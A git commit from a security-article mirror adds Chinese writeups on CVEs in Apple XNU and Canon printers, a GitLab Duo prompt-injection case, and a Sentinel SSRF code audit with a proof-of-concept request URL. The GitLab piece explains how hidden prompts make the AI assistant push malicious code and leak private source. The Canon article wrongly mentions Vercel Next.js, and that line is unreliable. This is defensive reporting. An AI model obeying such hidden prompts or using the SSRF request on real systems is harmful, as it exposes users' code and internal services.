mirror of
https://github.com/gelusus/wxvl.git
synced 2025-06-02 11:41:33 +00:00
Canon 打印机存在获取管理员权限漏洞、PHP漏洞在白盒审计中的技巧(1)——PHP弱类型特性、万户 ezOFFICE govdocumentmanager_judge_receivenum.jsp SQL 注入漏洞、Apple XNU 内核提权漏洞、GitLab Duo AI编程助手漏洞可让攻击者通过隐藏提示劫持AI响应、XXE:高级 XXE 漏洞利用完整指南、Java代码审计 | Alibaba Sentinel SSRF漏洞代码审计、汉堡王备份系统RCE漏洞被4000美元售卖、
This commit is contained in:
parent
09ef26fc33
commit
479eb20114
10
data.json
10
data.json
@ -14415,5 +14415,13 @@
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247490577&idx=1&sn=5caabf72c585d8dfee19437414939fee": "【src】SRC漏洞挖掘|优惠券叠加思路分享",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkxNzY5MTg1Ng==&mid=2247487871&idx=1&sn=931747ed01161c8355ec47b3b1450df2": "经典华为路由器漏洞复现详细分析(包括整个漏洞链)",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkxMjg3NzU0Mg==&mid=2247485719&idx=1&sn=80c65694743eb5e5397583d0620d9b99": "通过隐藏接口发现ruoyi和druid漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247530175&idx=3&sn=ed3f3dfe8ff9ec12404b9144c9d870e5": "Windows Server 2025 漏洞(BadSuccessor)暴露 Active Directory 帐户"
|
||||
"https://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247530175&idx=3&sn=ed3f3dfe8ff9ec12404b9144c9d870e5": "Windows Server 2025 漏洞(BadSuccessor)暴露 Active Directory 帐户",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI0NzE4ODk1Mw==&mid=2652096267&idx=2&sn=8244bc202073633729ee396fd62547de": "Canon 打印机存在获取管理员权限漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzU2NDY2OTU4Nw==&mid=2247520697&idx=1&sn=51ca3d136ea125c1f8234233268645d9": "PHP漏洞在白盒审计中的技巧(1)——PHP弱类型特性",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkzMTcwMTg1Mg==&mid=2247491575&idx=1&sn=0be139de91d844441cd7997712973fd0": "万户 ezOFFICE govdocumentmanager_judge_receivenum.jsp SQL 注入漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI0NzE4ODk1Mw==&mid=2652096267&idx=1&sn=d22225f6ef431db6c818763e332e5630": "Apple XNU 内核提权漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651321719&idx=3&sn=26247fefa30803d1ea9eb6b0bf5265bf": "GitLab Duo AI编程助手漏洞可让攻击者通过隐藏提示劫持AI响应",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI0MTUwMjQ5Nw==&mid=2247488480&idx=1&sn=8afdd1d2cfe9f2e9f4658c8ea95d2469": "XXE:高级 XXE 漏洞利用完整指南",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg3MDU1MjgwNA==&mid=2247487407&idx=1&sn=b0189ed709faf9ebae19ae93fbff7191": "Java代码审计 | Alibaba Sentinel SSRF漏洞代码审计",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzA5MzU5MzQzMA==&mid=2652115887&idx=1&sn=b4d3b673f74438831977b77e70d5fcf1": "汉堡王备份系统RCE漏洞被4000美元售卖"
|
||||
}
|
56
doc/2025-05/Apple XNU 内核提权漏洞.md
Normal file
56
doc/2025-05/Apple XNU 内核提权漏洞.md
Normal file
@ -0,0 +1,56 @@
|
||||
# Apple XNU 内核提权漏洞
|
||||
网安百色 2025-05-25 11:30
|
||||
|
||||
Apple 的 XNU 内核中的一个严重安全漏洞已被披露。它允许本地攻击者提升权限,并可能以内核级访问权限执行任意代码。
|
||||
|
||||
该漏洞被确定为 CVE-2025-31219,在多个 Apple 作系统中代表重大安全风险,CVSS 评分为 8.8,表明严重性较高。
|
||||
|
||||
Trend Micro 的 Zero Day Initiative 的安全研究人员 Michael DePlante(@izobashi 岁)和 Lucas Leong(@wmliang 岁)发现了该漏洞,该漏洞于 2025 年 5 月 21 日按照负责任的披露做法公开披露。
|
||||
|
||||
Apple 已经承认了这个问题,并在其生态系统中发布了补丁来解决安全漏洞。
|
||||
## Apple XNU 内核缺陷 (CVE-2025-31219)
|
||||
|
||||
该漏洞源于 XNU 内核的 vm_map 内存管理子系统中的争用条件,明确影响了虚拟内存分配的处理。
|
||||
|
||||
根据 Zero Day Initiative 咨询报告,“在 macOS 内核中处理虚拟内存分配时存在特定缺陷。该问题是由于在对对象执行作时缺乏适当的锁定造成的”。
|
||||
|
||||
此争用条件漏洞它涉及不正确的内存处理,可能导致内存损坏情况。
|
||||
|
||||
该漏洞允许具有低权限代码执行能力的攻击者利用争用条件将其权限升级到内核级别,从而有效地获得对受影响系统的完全控制权。
|
||||
|
||||
历史背景表明,XNU 内核竞争条件一直是一个反复出现的安全问题。
|
||||
|
||||
过去曾记录过类似的漏洞,包括以前被利用的显著vm_map_copy优化争用条件。这些漏洞表明在保护内核级内存管理作方面存在持续的挑战。
|
||||
|
||||
<table><tbody><tr style="box-sizing: border-box;background-color: rgb(240, 240, 240);"><td style="box-sizing: border-box;padding: 2px 8px;border: 1px solid rgba(0, 0, 0, 0);word-break: break-word;"><strong msttexthash="14330498" msthash="71" style="box-sizing: border-box;font-weight: bold;"><span leaf="">风险因素</span></strong></td><td style="box-sizing: border-box;padding: 2px 8px;border: 1px solid rgba(0, 0, 0, 0);word-break: break-word;"><strong msttexthash="3259074" msthash="72" style="box-sizing: border-box;font-weight: bold;"><span leaf="">详</span></strong></td></tr><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;padding: 2px 8px;border: 1px solid rgba(0, 0, 0, 0);word-break: break-word;"><section><span leaf="">受影响的产品</span></section></td><td style="box-sizing: border-box;padding: 2px 8px;border: 1px solid rgba(0, 0, 0, 0);word-break: break-word;"><section><span leaf="">watchOS 11.5、macOS Sonoma 14.7.6、tvOS 18.5、iPadOS 17.7.7、iOS 18.5、macOS Sequoia 15.5、visionOS 2.5、macOS Ventura 13.7.6</span></section></td></tr><tr style="box-sizing: border-box;background-color: rgb(240, 240, 240);"><td style="box-sizing: border-box;padding: 2px 8px;border: 1px solid rgba(0, 0, 0, 0);word-break: break-word;"><section><span leaf="">冲击</span></section></td><td style="box-sizing: border-box;padding: 2px 8px;border: 1px solid rgba(0, 0, 0, 0);word-break: break-word;"><section><span leaf="">允许攻击者导致系统意外终止、损坏内核内存并破坏系统稳定性</span></section></td></tr><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;padding: 2px 8px;border: 1px solid rgba(0, 0, 0, 0);word-break: break-word;"><section><span leaf="">利用先决条件</span></section></td><td style="box-sizing: border-box;padding: 2px 8px;border: 1px solid rgba(0, 0, 0, 0);word-break: break-word;"><section><span leaf="">本地攻击者必须具有低权限代码执行能力</span></section></td></tr><tr style="box-sizing: border-box;background-color: rgb(240, 240, 240);"><td style="box-sizing: border-box;padding: 2px 8px;border: 1px solid rgba(0, 0, 0, 0);word-break: break-word;"><section><span leaf="">CVSS 3.1 分数</span></section></td><td style="box-sizing: border-box;padding: 2px 8px;border: 1px solid rgba(0, 0, 0, 0);word-break: break-word;"><section><span leaf="">8.8 (高)</span></section></td></tr></tbody></table>## 受影响的系统和 CVSS 影响评估
|
||||
|
||||
该漏洞影响了 Apple 的作系统生态系统,为 watchOS 11.5、macOS Sonoma 14.7.6、tvOS 18.5、iPadOS 17.7.7、iOS 18.5、macOS Sequoia 15.5、macOS Ventura 13.7.6 和 visionOS 2.5 发布了补丁。
|
||||
|
||||
对 Apple 产品系列的广泛影响凸显了 XNU 内核漏洞的基本性质。
|
||||
|
||||
CVSS 3.1 矢量字符串 AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H 表示,虽然该漏洞需要本地访问和低权限才能利用,但一旦成功触发,它就会对机密性、完整性和可用性产生很大影响。
|
||||
|
||||
“已更改”范围评级表明,该漏洞可能影响其初始安全上下文之外的资源,这是内核级权限提升缺陷的典型特征。
|
||||
|
||||
安全研究人员指出,该漏洞“允许本地攻击者升级受影响的 Apple macOS 安装的权限。
|
||||
|
||||
攻击者必须首先获得在目标系统上执行低权限代码的能力,才能利用此漏洞。此先决条件意味着该漏洞通常用作多阶段攻击链的一部分。
|
||||
## 缓解策略
|
||||
|
||||
Apple 已通过改进所有受影响平台上的内存处理机制解决了此漏洞。
|
||||
|
||||
该公司的安全公告指出,“该问题已通过改进的内存处理得到解决”,并为每个修补的作系统提供了特定的版本号。
|
||||
|
||||
用户应立即将他们的设备更新到最新的可用版本:macOS Sequoia 15.5、macOS Sonoma 14.7.6、iOS 18.5、iPadOS 18.5、watchOS 11.5、tvOS 18.5 和 visionOS 2.5。
|
||||
|
||||
组织应优先考虑这些更新,特别是对于暴露给潜在攻击者的系统,这些攻击者可以通过其他向量实现初始代码执行。
|
||||
|
||||
目前没有证据表明在野外积极利用,因此立即修补是建议的主要缓解策略。
|
||||
|
||||
**免责声明**
|
||||
:
|
||||
|
||||
本公众号所载文章为本公众号原创或根据网络搜索下载编辑整理,文章版权归原作者所有,仅供读者学习、参考,禁止用于商业用途。因转载众多,无法找到真正来源,如标错来源,或对于文中所使用的图片、文字、链接中所包含的软件/资料等,如有侵权,请跟我们联系删除,谢谢!
|
||||
|
||||

|
||||
|
58
doc/2025-05/Canon 打印机存在获取管理员权限漏洞.md
Normal file
58
doc/2025-05/Canon 打印机存在获取管理员权限漏洞.md
Normal file
@ -0,0 +1,58 @@
|
||||
# Canon 打印机存在获取管理员权限漏洞
|
||||
网安百色 2025-05-25 11:30
|
||||
|
||||
Canon Inc. 发布了一份重要的安全建议,警告客户注意影响其各种生产打印机、Office 多功能打印机和激光打印机的严重漏洞。
|
||||
|
||||
这些漏洞被确定为 CVE-2025-3078 和 CVE-2025-3079,使恶意行为者能够从受感染的设备中提取敏感的身份验证信息,从而可能导致更广泛的网络渗透。
|
||||
|
||||
该回传漏洞影响了多个产品线,包括 imageRUNNER ADVANCE 系列、imageRUNNER 系列、imagePRESS V 系列、imageCLASS 系列、i-SENSYS 系列和 Satera 系列。
|
||||
## 高危 Canon 漏洞
|
||||
|
||||
这些漏洞的 CVSS v3.1 基本评分为 8.7,被归类为高严重性,攻击媒介指定为 CVSS:3.1。
|
||||
|
||||
这些漏洞代表了一个重大的安全问题,因为它们影响了 Canon 的整个企业打印生态系统。
|
||||
|
||||
CVE-2025-3078 专门针对生产打印机和办公多功能打印机,而 CVE-2025-3079 则侧重于办公/小型办公多功能打印机和激光打印机。
|
||||
|
||||
安全研究人员指出,这些回传漏洞允许具有管理权限的攻击者将设备身份验证尝试重定向到他们控制下的恶意服务器。
|
||||
|
||||
核心漏洞机制涉及保护不足的凭据 (CWE-522),其中 Canon 设备在没有足够保护的情况下传输外部服务的身份验证信息。
|
||||
## SMTP 和 LDAP 凭证提取方法
|
||||
|
||||
利用这些缺陷后,攻击者可以获取在受影响产品中配置的 SMTP/LDAP 连接凭据。
|
||||
|
||||
回传攻击利用多功能外围设备 (MFP) 和关键网络服务之间的信任关系。
|
||||
|
||||
在典型的漏洞利用场景中,具有管理访问权限的攻击者修改设备配置中的 LDAP 服务器 IP 地址,将身份验证请求重定向到能够以明文形式捕获凭据的流氓服务器。
|
||||
|
||||
这种技术已在渗透测试方法中得到广泛记录,攻击者重新配置设备以向侦听端口 389 的攻击者控制的系统发送 LDAP 查询。
|
||||
|
||||
该漏洞的 EPSS(漏洞利用预测评分系统)评分为 0.03%,表明未来 30 天内被利用的可能性相对较低,尽管安全专家警告说,该技术的简单性使其对威胁行为者具有吸引力。
|
||||
|
||||
该攻击需要高级权限 (PR:H),但可以通过网络 (AV:N) 远程执行,攻击复杂性 (AC:L) 较低。
|
||||
|
||||
<table><tbody><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;padding: 2px 8px;border: 1px solid;word-break: break-word;"><strong msttexthash="7544134" msthash="74" style="box-sizing: border-box;font-weight: bold;"><span leaf="">CVE 证书</span></strong></td><td style="box-sizing: border-box;padding: 2px 8px;border: 1px solid;word-break: break-word;"><strong msttexthash="17242355" msthash="75" style="box-sizing: border-box;font-weight: bold;"><span leaf="">受影响的产品</span></strong></td><td style="box-sizing: border-box;padding: 2px 8px;border: 1px solid;word-break: break-word;"><strong msttexthash="4085822" msthash="76" style="box-sizing: border-box;font-weight: bold;"><span leaf="">冲击</span></strong></td><td style="box-sizing: border-box;padding: 2px 8px;border: 1px solid;word-break: break-word;"><strong msttexthash="17124536" msthash="77" style="box-sizing: border-box;font-weight: bold;"><span leaf="">利用先决条件</span></strong></td><td style="box-sizing: border-box;padding: 2px 8px;border: 1px solid;word-break: break-word;"><strong msttexthash="8943688" msthash="78" style="box-sizing: border-box;font-weight: bold;"><span leaf="">CVSS 3.1 分数</span></strong></td></tr><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;padding: 2px 8px;border: 1px solid;word-break: break-word;"><section><span leaf="">漏洞:CVE-2025-3078</span></section></td><td style="box-sizing: border-box;padding: 2px 8px;border: 1px solid;word-break: break-word;"><section><span leaf="">imageRUNNER ADVANCE 系列、imageRUNNER 系列、imagePRESS V 系列、imagePRESS 系列</span></section></td><td style="box-sizing: border-box;padding: 2px 8px;border: 1px solid;word-break: break-word;"><section><span leaf="">允许具有管理权限的攻击者提取 SMTP/LDAP 凭据,从而实现横向网络移动</span></section></td><td style="box-sizing: border-box;padding: 2px 8px;border: 1px solid;word-break: break-word;"><section><span leaf="">需要管理访问权限 (PR:H)</span></section></td><td style="box-sizing: border-box;padding: 2px 8px;border: 1px solid;word-break: break-word;"><font mstmutation="1" msttexthash="24357359" msthash="83" style="box-sizing: border-box;"><span leaf="">8.7 (高)</span></font><section><span leaf=""><br/></span></section></td></tr><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;padding: 2px 8px;border: 1px solid;word-break: break-word;"><section><span leaf="">CVE-2025-3079漏洞</span></section></td><td style="box-sizing: border-box;padding: 2px 8px;border: 1px solid;word-break: break-word;"><section><span leaf="">imageCLASS 系列、i-SENSYS 系列、Satera 系列、办公室/小型办公室激光打印机</span></section></td><td style="box-sizing: border-box;padding: 2px 8px;border: 1px solid;word-break: break-word;"><section><span leaf="">通过对多功能打印机的回传攻击破坏身份验证数据的完整性/机密性</span></section></td><td style="box-sizing: border-box;padding: 2px 8px;border: 1px solid;word-break: break-word;"><section><span leaf="">网络访问 + 管理权限</span></section></td><td style="box-sizing: border-box;padding: 2px 8px;border: 1px solid;word-break: break-word;"><font mstmutation="1" msttexthash="24357359" msthash="88" style="box-sizing: border-box;"><span leaf="">8.7 (高)</span></font><section><span leaf=""><br/></span></section></td></tr></tbody></table>## 缓解策略
|
||||
|
||||
Canon 提供了全面的缓解指南,而固件补丁仍在开发中。
|
||||
|
||||
该公司强烈建议不要将设备直接连接到公共互联网网络,而是建议在受防火墙、路由器或 Wi-Fi 路由器保护的安全网络环境中使用私有 IP 地址。
|
||||
|
||||
关键的安全措施包括将默认密码更改为强的唯一凭据,以及实施强大的管理员和常规用户身份验证。
|
||||
|
||||
组织应在支持的情况下启用多重身份验证 (MFA),并确保所有管理设置都使用足够复杂的密码,以抵御暴力攻击。
|
||||
|
||||
物理安全注意事项同样重要,因为攻击者经常利用无人值守设备上的默认凭据。Canon 建议在 psirt.canon/hardening 上查阅其产品强化指南,了解全面的网络安全实践。
|
||||
|
||||
此外,组织应实施网络分段,以隔离打印基础设施并监控设备访问日志中是否存在可疑的身份验证尝试。
|
||||
|
||||
该公告强调,Vercel 托管的 Next.js 部署会获得自动保护,但在实施适当的缓解措施之前,自托管应用程序仍然容易受到攻击。
|
||||
|
||||
立即对其 Canon 打印机部署进行审核,并实施建议的安全控制措施,以防止潜在的凭据盗窃和在其网络内横向移动。
|
||||
|
||||
**免责声明**
|
||||
:
|
||||
|
||||
本公众号所载文章为本公众号原创或根据网络搜索下载编辑整理,文章版权归原作者所有,仅供读者学习、参考,禁止用于商业用途。因转载众多,无法找到真正来源,如标错来源,或对于文中所使用的图片、文字、链接中所包含的软件/资料等,如有侵权,请跟我们联系删除,谢谢!
|
||||
|
||||

|
||||
|
81
doc/2025-05/GitLab Duo AI编程助手漏洞可让攻击者通过隐藏提示劫持AI响应.md
Normal file
81
doc/2025-05/GitLab Duo AI编程助手漏洞可让攻击者通过隐藏提示劫持AI响应.md
Normal file
@ -0,0 +1,81 @@
|
||||
# GitLab Duo AI编程助手漏洞可让攻击者通过隐藏提示劫持AI响应
|
||||
FreeBuf 2025-05-25 10:01
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
### Part01
|
||||
### 漏洞发现:恶意提示可操控AI行为
|
||||
|
||||
|
||||
研究人员发现,通过将隐藏指令植入代码注释、提交信息和合并请求描述中,可以诱骗GitLab的AI编程助手Duo向用户显示恶意内容并泄露私有源代码。这款AI助手会解析来自公共代码库的注释、源代码、合并请求描述和提交信息中的恶意AI提示,导致其向用户推荐恶意代码、分享恶意链接,并在响应中注入恶意HTML代码,从而悄无声息地泄露私有项目代码。
|
||||
|
||||
|
||||
应用安全公司Legit Security的研究人员在报告中指出:"GitLab已经修补了HTML注入漏洞,这很好,但更重要的教训很明确:AI工具现在已成为应用程序攻击面的一部分。如果它们从页面读取内容,这些输入就需要像其他用户提供的数据一样对待——不可信、混乱且潜在危险。"
|
||||
|
||||
|
||||
提示注入(Prompt injection)是一种针对大语言模型(LLM)的攻击技术,用于操控其向用户输出的内容。虽然这不是新型攻击手段,但随着企业开发能够解析用户生成数据并基于内容自主采取行动的AI代理,其重要性将日益凸显。
|
||||
|
||||
|
||||
**Part02**
|
||||
### 开发助手反成安全威胁
|
||||
|
||||
|
||||
GitLab Duo是为流行DevOps平台GitLab提供的AI开发生命周期助手。该工具可通过聊天界面提供代码建议、排查代码问题、解释代码漏洞并提出修复方案。在日常运行中,Duo会分析GitLab项目中的内容,包括源代码、注释、描述、已提交问题以及合并请求(代码贡献)等。
|
||||
|
||||
|
||||
Legit Security的研究人员尝试在项目中可能由外部用户控制的各个区域植入指令,测试GitLab Duo在分析内容时是否会将其解释为系统提示。测试取得了成功——研究人员写道:"Duo会分析页面的全部上下文,包括注释、描述和源代码,这使得它容易受到隐藏在该上下文中任何位置的注入指令影响。"
|
||||
|
||||
|
||||
在测试前,研究人员还探索了多种隐藏提示的方法,包括Unicode编码走私、base16编码有效载荷,以及使用KaTeX数学公式渲染引擎将提示以白色文本形式注入(在白色背景下不可见)。
|
||||
|
||||
|
||||
**Part03**
|
||||
### 攻击场景:从代码建议到凭证泄露
|
||||
|
||||
|
||||
研究人员成功演示了多种攻击场景:
|
||||
|
||||
|
||||
1. 在合并请求描述中植入隐藏提示,诱使Duo在代码变更建议中注入恶意JavaScript包
|
||||
|
||||
2. 通过特定提示强制Duo在响应中注入指向伪造登录页面的网页链接
|
||||
|
||||
3. 利用隐藏提示欺骗AI助手无条件支持恶意合并请求,误导审查者认为这是合法提交
|
||||
|
||||
|
||||
更严重的是,研究人员发现Duo基于Markdown语言的HTML聊天界面存在漏洞。由于响应是从后端LLM逐步流式传输呈现的,攻击者可注入HTML标签(如)使其被浏览器解析执行。这为窃取私有代码创造了条件——攻击者若获知私有项目URL,就能利用用户权限读取、编码敏感源代码,并将其外泄至控制服务器。若还能定位存储API令牌等凭证的文件位置,危害将更为严重。
|
||||
|
||||
|
||||
**Part04**
|
||||
### 修复进展与遗留风险
|
||||
|
||||
|
||||
GitLab已通过阻止Duo渲染指向非gitlab.com域名的或等风险标签,修复了HTML注入问题。但其他不涉及HTML渲染的提示注入场景仍未修补,因为GitLab认为这些情况不会直接导致未授权访问或代码执行,不构成安全问题。
|
||||
|
||||
|
||||
研究人员强调:"这一安全漏洞表明,当GitLab Duo等AI助手盲目信任页面内容时,可能带来巨大风险。通过植入隐藏提示和原始HTML,我们能在用户未点击任何内容的情况下,使Duo泄露私有源代码。"
|
||||
|
||||
|
||||
**参考来源:**
|
||||
|
||||
Prompt injection flaws in GitLab Duo highlights risks in AI assistants
|
||||
|
||||
https://www.csoonline.com/article/3992845/prompt-injection-flaws-in-gitlab-duo-highlights-risks-in-ai-assistants.html
|
||||
|
||||
|
||||
###
|
||||
###
|
||||
###
|
||||
### 推荐阅读
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651321451&idx=1&sn=5471e9d1f4dd5999849c99d712ba7bd8&scene=21#wechat_redirect)
|
||||
|
||||
### 电台讨论
|
||||
|
||||
****
|
||||
|
||||

|
||||
|
378
doc/2025-05/Java代码审计 Alibaba Sentinel SSRF漏洞代码审计.md
Normal file
378
doc/2025-05/Java代码审计 Alibaba Sentinel SSRF漏洞代码审计.md
Normal file
@ -0,0 +1,378 @@
|
||||
# Java代码审计 | Alibaba Sentinel SSRF漏洞代码审计
|
||||
小瑟斯 闪石星曜CyberSecurity 2025-05-25 08:38
|
||||
|
||||
内部学员投稿。
|
||||
|
||||
首发于:https://xz.aliyun.com/news/18017
|
||||
|
||||
学代码审计就找闪石星曜CyberSecurity。
|
||||
|
||||
详情可点击下方链接了解。
|
||||
|
||||
[《JavaWeb代码审计企业级项目实战》课程2.0升级版,新增10节实战课!依旧低至499,加量不加价!招生!](https://mp.weixin.qq.com/s?__biz=Mzg3MDU1MjgwNA==&mid=2247487386&idx=2&sn=fc36f768e8715e1b0c291519e7dad584&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
我公开了一份面向零基础小白的 JavaWeb代码审计入门文档。
|
||||
|
||||
欢迎一起来学习,感觉不错别忘了分享给身边的好哥们。
|
||||
```
|
||||
https://www.yuque.com/power7089/ekvyga
|
||||
```
|
||||
|
||||
|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||
|
||||
# 一、Sentinel介绍
|
||||
|
||||
|
||||
引用自官方介绍
|
||||
|
||||
随着微服务的流行,服务和服务之间的稳定性变得越来越重要,Sentinel 是面向分布式、多语言异构化服务架构的流量治理组件,主要以流量为切入点,从流量路由、流量控制、流量整形、熔断降级、系统自适应过载保护、热点流量防护等多个维度来帮助开发者保障微服务的稳定性。
|
||||
|
||||
# 二、漏洞分析
|
||||
|
||||
|
||||
Sentinel组件曾经有发现过SSRF漏洞(CVE-2021-44139),关于此漏洞,已有很多师傅进行过分析复现,本文在此不赘述,本文着重于分析的SSRF漏洞是另外一处,获取集群状态功能相关的SSRF漏洞。
|
||||
|
||||
# 三、Sentinel版本
|
||||
|
||||
|
||||
我这里分析的版本是v1.8.8,在2024-05获取时处于最新Releases版。
|
||||
|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||
|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||
|
||||
# 四、漏洞代码
|
||||
|
||||
|
||||
(1)漏洞点主要位于com/alibaba/csp/sentinel/dashboard/controller/cluster/ClusterConfigController.java
|
||||
的第119行---146行,该区域代码功能主要是获取集群或者目标机器状态功能相关,让我们来分析下代码
|
||||
|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||
|
||||
(2)通过第120行判断出首先它接收三个参数:app(应用名称)、ip(IP地址)和port(端口号),然后在第123行---130行,判断三个参数是否为空,为空则抛出对应的异常,然后第132行和133行,调用 checkIfSupported
|
||||
方法检查当前版本是否支持该 app、ip 和 port 的组合。如果不支持,则调用 unsupportedVersion
|
||||
方法返回不支持的响应。
|
||||
|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||
|
||||
(3)接下来第136行---144行,使用 clusterConfigService.getClusterUniversalState
|
||||
方法异步获取集群状态,之后使用 thenApply
|
||||
将结果转换为成功的结果对象,然后使用 ge
|
||||
t 方法阻塞等待结果,期间如果发生 ExecutionException
|
||||
,记录错误日志并返回错误响应,如果发生其他异常,记录错误日志并返回失败的结果,错误码为 -1,错误信息为异常消息。
|
||||
|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||
|
||||
(4)跟进clusterConfigService.getClusterUniversalState
|
||||
方法,来到com/alibaba/csp/sentinel/dashboard/service/ClusterConfigService.java
|
||||
,第148行---166行,定义了一个名为 getClusterUniversalState
|
||||
的方法,该方法返回一个 CompletableFuture<ClusterUniversalStateVO>
|
||||
对象。这个方法的主要目的是从 Sentinel API 客户端获取集群的通用状态信息,并根据这些信息进一步获取客户端和服务器的相关信息。
|
||||
|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||
|
||||
(5)第149行sentinelApiClient.fetchClusterMode(ip, port)
|
||||
则是调用 sentinelApiClient
|
||||
的 fetchClusterMode
|
||||
方法,获取集群模式信息,这个方法返回一个 CompletableFuture
|
||||
对象,之后的第150行.thenApply(e -> new ClusterUniversalStateVO().setStateInfo(e))
|
||||
则是当 fetchClusterMode
|
||||
方法完成时,将结果 e
|
||||
传递给 thenApply
|
||||
方法,thenApply
|
||||
方法创建一个新的 ClusterUniversalStateVO
|
||||
对象,并设置其 stateInfo
|
||||
属性为 e
|
||||
。
|
||||
|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||
|
||||
(6)跟进sentinelApiClient.fetchClusterMode
|
||||
方法,来到com/alibaba/csp/sentinel/dashboard/client/SentinelApiClient.java
|
||||
,第626行---637行,这段主要功能是通过给定的 IP 地址和端口号来获取集群模式,并将其解析为 ClusterStateSimpleEntity
|
||||
对象,然后使用 executeCommand
|
||||
方法发送请求到指定的 IP 和端口,路径为 FETCH_CLUSTER_MODE_PATH
|
||||
。
|
||||
|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||
|
||||
(7)跟进第631行的executeCommand
|
||||
执行方法,看看执行了什么,来到第253行,没有发现相关的SSRF代码,再继续跟进第254行的executeCommand
|
||||
执行方法,跳转到了266行,也没有发现相关的SSRF代码,再继续跟进第267行的executeCommand
|
||||
执行方法,来到了第280行。
|
||||
|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||
|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||
|
||||
(8)第280行---第315行,前面传入的各个参数,都集中在这里进行进一步校验和检查处理,进行参数检查与合法性验证,之后构建基础的URL字符串,包括协议(http://)、IP地址、端口号以及API路径,最后构造HTTP请求(GET或POST),然后异步执行该请求。
|
||||
|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||
|
||||
(9)第310行最后使用HttpGet方法发起http请求时,没有对IP地址合法性进行完整校验,进而导致了SSRF漏洞的产生。
|
||||
|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||
|
||||
# 五、漏洞复现
|
||||
|
||||
|
||||
通过前面的ClusterConfigController.java
|
||||
代码,我们得知了漏洞接口是/state_single
|
||||
,然后第57行定义了起始路径/cluster
|
||||
,然后再传入3个参数,分别是app、ip、port,最后得出的漏洞地址是【http://localhost:8080/cluster/state_single
|
||||
】,该接口需要登录后才能访问。
|
||||
|
||||
构造访问的漏洞地址:
|
||||
|
||||
【http://localhost:8080/cluster/state_single?app=SSRF-TEST&ip=127.0.0.1&port=80
|
||||
】
|
||||
|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||
|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||
|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||

|
||||
|
||||
# 六、总结
|
||||
|
||||
|
||||
本文主要分析了Sentinel组件获取集群状态功能点建立http连接时,没有对IP地址合法性进行完整校验,进而导致SSRF漏洞,总体来说并不难,新人第一次投稿分析此类文章,如有描述错误,还请各位师傅多多指教。
|
||||
|
||||
参考链接:
|
||||
```
|
||||
https://github.com/alibaba/Sentinel/issues/2451
|
||||
|
||||
https://sentinelguard.io/zh-cn/docs/introduction.html
|
||||
|
||||
https://www.cnblogs.com/charonlight/p/17552045.html
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
200
doc/2025-05/PHP漏洞在白盒审计中的技巧(1)——PHP弱类型特性.md
Normal file
200
doc/2025-05/PHP漏洞在白盒审计中的技巧(1)——PHP弱类型特性.md
Normal file
@ -0,0 +1,200 @@
|
||||
# PHP漏洞在白盒审计中的技巧(1)——PHP弱类型特性
|
||||
船山信安 2025-05-25 08:14
|
||||
